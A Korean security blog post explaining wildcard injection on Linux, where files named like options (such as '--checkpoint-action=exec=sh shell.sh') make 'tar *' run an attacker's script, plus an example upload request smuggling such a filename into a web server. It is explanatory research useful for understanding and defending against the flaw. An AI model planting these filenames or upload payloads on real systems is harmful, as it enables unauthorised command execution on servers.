Windcard(*) Attack on linux (와일드 카드를 이용한 공격)

조금 철 지난 기법이지만 관심이 적어 모르고 있던거라.. 글로 작성해둡니다. wildcard는 굉장히 많은 영역에서 사용되는 문자이고 컴퓨팅, 프로그래밍에선 더더욱 많이 사용되는 문자들입니다.

리눅스 환경에선 정말 보편적으로 쓰이고 있고(명령어 처리, 인자값, 설정 등등..), 프로그래밍시에도 굉장히 많이 사용되는 부분입니다.

wildcard 인 *(asterisk)는 ~모든 을 의미하는 문자이고 한번에 많은 파일을 지정할 때 사용합니다.

#> mv * ~/test_dir

요런식으로 많이들 사용하는데, 재미있는 점은 * 로 읽어들인 데이터들이 그대로 command line에서 사용된다는 점입니다. 예를들어 디렉토리에 -al 이라는 파일이 있는 경우 ls * 로 읽어왔을 땐 -al이 옵션으로 인지해서 처리하게 되죠.

#> echo 'a' > '-al'
#> ls
-al

#> ls *
total 8
-rw-r--r--   1 hahwul  hahwul    2 Nov 30 21:51 -al
drwxr-xr-x   3 hahwul  hahwul   96 Nov 30 21:51 .
drwxr-xr-x  31 hahwul  hahwul  992 Nov 30 21:51 ..

물론 파이프 라인 같은 명령어는 먹지 않습니다.

#> echo ‘a’ > ‘| ps'
> ls
| ps

> ls *
| ps

(만약 이게 됬다면 wildcard 쓰는거 자체가 어마무시하게 위험한 행위가 되었을지도요..)

아무튼 우린 옵션 데이터 정도를 넘겨줄 수 있는데요, 이를 이용한 대표적인 사례가 tar(압축관리)에 대한 공격입니다.

root@HAHWUL:/home/hahwul/HAHWUL/test/1# ll
total 28
drwxr-xr-x 2 root root  4096 Dec  1 20:36  ./
drwxr-xr-x 4 root root  4096 Dec  1 22:37  ../
-rw-r--r-- 1 root root 10240 Dec  1 22:37 '--checkpoint=1'
-rw-r--r-- 1 root root     1 Dec  1 20:36 '--checkpoint-action=exec=sh shell.sh'
-rwxrwxrwx 1 root root    11 Dec  1 20:36  shell.sh*

root@HAHWUL:/home/hahwul/HAHWUL/test/1# tar -cvf 123.tar *
shell.sh
run!!

tar 명령의 경우 -checkpoint-action 이라는 옵션이 있었고 이로 넘어온 인자값이 명령행으로 수행할 수 있었는데요, 이 옵션 내용을 파일로 만들고 대상 디렉토리에서 tar를 통해 압축(보통 *을 많이 쓰니..)을 하게 됬을 떄 –checkpoint 옵션이 활성화되고 결론적으론 공격자가 의도한 명령이 실행되게 됩니다.

단 설치된 tar 버전에 따라 약간 처리가 다른게 있긴 한듯 합니다. (macos에선 영향 없었네요. 리눅스만..)

Bad things.. Other vulnerable point?

웹/시스템 어플리케이션 중 로컬로 command 날리는 형태에는 어느정도 영향이 있을법하네요. tar 이외에도 command line으로 넘길 떄 *이 포함되는 경우들이 있는데, 옵션에 대해 제어할 수 있으니 꼭 코드 실행이 아니여도 의도하지 않은 동작을 수행시키거나 다른 취약점을 트리거하는 발판으로 삼을 수 있을듯 합니다.

분명 웹 어플리케이션과의 접점도 있을겁니다. 예를들어 사용자가 업로드한 파일을 보관하기 위해, 또는 로그등을 처리하기 위해 압축하는 경우들도 있을테고, 웹 서비스와 연계되는 외부 솔루션의 기능 처리를 위해서 command line으로 넘기는 경우들이 있는데 이런 구간에 공격을 해볼 여지가 충분히 있는거죠. 예를들면 A라는 업로드 페이지가 있고 여기서 주기적으로 사용자가 업로드한 파일들을 압축해서 보관한다고 칩시다.

POST /upload HTTP/1.1
Host: 127.0.0.1

--MultipartBoundry
Content-Disposition: form-data; name="image"; filename="--checkpoint-action-exec=ping 127.0.0.1 -c 5 -W .jpg"
Content-Type: image/jpeg

rawimage

이런 형태면 파일명을 –checkpoint, –checkpoint-action-exec 로 만들어서 업로드 후 해당 경로에서 tar 어플리케이션의 행위가 트리거 되었을 때 공격자가 의도한 명령이 수행될 수 있겠죠.

몇개 테스트해봤을땐 영향은 없었지만 같이 명령을 나눌 수 있는 부분에 대해서도 체크해볼 필요가 있을법합니다. 혹시라도 명령 분리가 가능하면 * 형태로 command line으로 넘기는 어플리케이션에서 RCE나 의도하지 않은 액션이 발생할 가능성 생길 것 같네요.